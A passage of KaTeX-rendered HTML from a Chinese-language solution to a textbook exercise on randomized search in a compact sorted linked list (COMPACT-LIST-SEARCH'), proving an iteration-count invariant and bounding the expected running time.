style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>。跳跃后 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msubsup><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo>=</mo><mi>j</mi></mrow><annotation encoding="application/x-tex">i&#x27;_{m+1} = j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0583em;vertical-align:-0.3064em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3064em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span>，而 <code>CLS</code> 执行 next，<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow></msub><mo>=</mo><mi>n</mi><mi>e</mi><mi>x</mi><mi>t</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">i_{m+1} = next[i_m]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8679em;vertical-align:-0.2083em;"></span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal">n</span><span class="mord mathnormal">e</span><span class="mord mathnormal">x</span><span class="mord mathnormal">t</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>。因此 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo><mo>=</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo><mo>≤</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo><mo>&lt;</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mrow><mi>m</mi><mo>+</mo><mn>1</mn></mrow></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i&#x27;_{m+1}] = key[j] \le key[i_m] &lt; key[i_{m+1}]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0583em;vertical-align:-0.3064em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.4519em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.3064em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">m</span><span class="mbin mtight">+</span><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2083em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>，不变式依然成立。</p></li><li><p>如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>j</mi></mrow><annotation encoding="application/x-tex">j</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.854em;vertical-align:-0.1944em;"></span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span></span></span></span> 对 <code>CLS</code> 有效，对 <code>CLS'</code> 无效：这种情况不可能发生。因为如果 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo><mo>&lt;</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i_m] &lt; key[j]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span></span></span></span>，由归纳假设 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo><mo>≤</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msub><mi>i</mi><mi>m</mi></msub><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i&#x27;_m] \le key[i_m]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span></span></span></span>，必然推导出 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><msubsup><mi>i</mi><mi>m</mi><mo mathvariant="normal" lspace="0em" rspace="0em">′</mo></msubsup><mo stretchy="false">]</mo><mo>&lt;</mo><mi>k</mi><mi>e</mi><mi>y</mi><mo stretchy="false">[</mo><mi>j</mi><mo stretchy="false">]</mo></mrow><annotation encoding="application/x-tex">key[i&#x27;_m] &lt; key[j]</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.0019em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal">i</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.7519em;"><span style="top:-2.453em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">m</span></span></span><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">′</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.247em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">&lt;</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.03148em;">k</span><span class="mord mathnormal" style="margin-right:0.03588em;">ey</span><span class="mopen">[</span><span class="mord mathnormal" style="margin-right:0.05724em;">j</span><span class="mclose">]</span></span></span></span>，所以 <code>CLS'</code> 必定也会认为它有效。</p></li></ul><p>所以 <code>COMPACT-LIST-SEARCH'(L, n, k, t)</code> 的 <code>while</code> 和 <code>for</code> 循环的迭代次数之和至少为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span>。</p><ol start="2"><li>论证 <code>COMPACT-LIST-SEARCH'(L, n, k, t)</code> 的期望运行时间为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>O</mi><mo stretchy="false">(</mo><mi>t</mi><mo>+</mo><mtext>E</mtext><mo stretchy="false">[</mo><msub><mi>X</mi><mi>t</mi></msub><mo stretchy="false">]</mo><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">O(t + \text E[X_t])</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">O</span><span class="mopen">(</span><span class="mord mathnormal">t</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">E</span></span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">])</span></span></span></span>。</li></ol><p><code>COMPACT-LIST-SEARCH'</code> 的运行时间由两部分组成：<code>for</code> 循环的 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 次迭代，以及 <code>while</code> 循环的迭代次数 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>X</mi><mi>t</mi></msub></mrow><annotation encoding="application/x-tex">X_t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>X</mi><mi>t</mi></msub></mrow><annotation encoding="application/x-tex">X_t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 是经过 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 次随机跳跃后指针距离目标 <code>k</code> 的距离，也就是 <code>while</code> 循环的迭代次数。</p><ol start="3"><li>证明 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mtext>E</mtext><mo stretchy="false">[</mo><msub><mi>X</mi><mi>t</mi></msub><mo stretchy="false">]</mo><mo>≤</mo><msubsup><mo>∑</mo><mrow><mi>r</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></msubsup><mo stretchy="false">(</mo><mn>1</mn><mo>−</mo><mi>r</mi><mi mathvariant="normal">/</mi><mi>n</mi><msup><mo stretchy="false">)</mo><mi>t</mi></msup></mrow><annotation encoding="application/x-tex">\text E[X_t] \le \sum_{r = 1}^n (1 - r / n)^t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">E</span></span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.104em;vertical-align:-0.2997em;"></span><span class="mop"><span class="mop op-symbol small-op" style="position:relative;top:0em;">∑</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8043em;"><span style="top:-2.4003em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.2029em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2997em;"><span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord">1</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1.0436em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">/</span><span class="mord mathnormal">n</span><span class="mclose"><span class="mclose">)</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7936em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span></span></span></span></span></span></span></span>。</li></ol><p>有公式 C.25:</p><p class="katex-block"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mtext>E</mtext><mo stretchy="false">[</mo><msub><mi>X</mi><mi>t</mi></msub><mo stretchy="false">]</mo><mo>=</mo><munderover><mo>∑</mo><mrow><mi>r</mi><mo>=</mo><mn>1</mn></mrow><mi>n</mi></munderover><mi>P</mi><mo stretchy="false">(</mo><msub><mi>X</mi><mi>t</mi></msub><mo>≥</mo><mi>r</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\text E[X_t] = \sum_{r = 1}^n P(X_t \ge r)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord text"><span class="mord">E</span></span><span class="mopen">[</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:2.9185em;vertical-align:-1.2671em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.6514em;"><span style="top:-1.8829em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mrel mtight">=</span><span class="mord mtight">1</span></span></span></span><span style="top:-3.05em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span><span style="top:-4.3em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">n</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.2671em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mclose">)</span></span></span></span></span></p><p>其中 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>P</mi><mo stretchy="false">(</mo><msub><mi>X</mi><mi>t</mi></msub><mo>≥</mo><mi>r</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">P(X_t \ge r)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.07847em;">X</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.0785em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">t</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mclose">)</span></span></span></span> 是在 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 次随机跳跃后，指针距离目标 <code>k</code> 的距离至少为 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi></mrow><annotation encoding="application/x-tex">r</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span> 的概率。</p><p>每次随机跳跃成功的概率是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>r</mi><mi mathvariant="normal">/</mi><mi>n</mi></mrow><annotation encoding="application/x-tex">r / n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mord">/</span><span class="mord mathnormal">n</span></span></span></span>，所以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>t</mi></mrow><annotation encoding="application/x-tex">t</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6151em;"></span><span class="mord mathnormal">t</span></span></span></span> 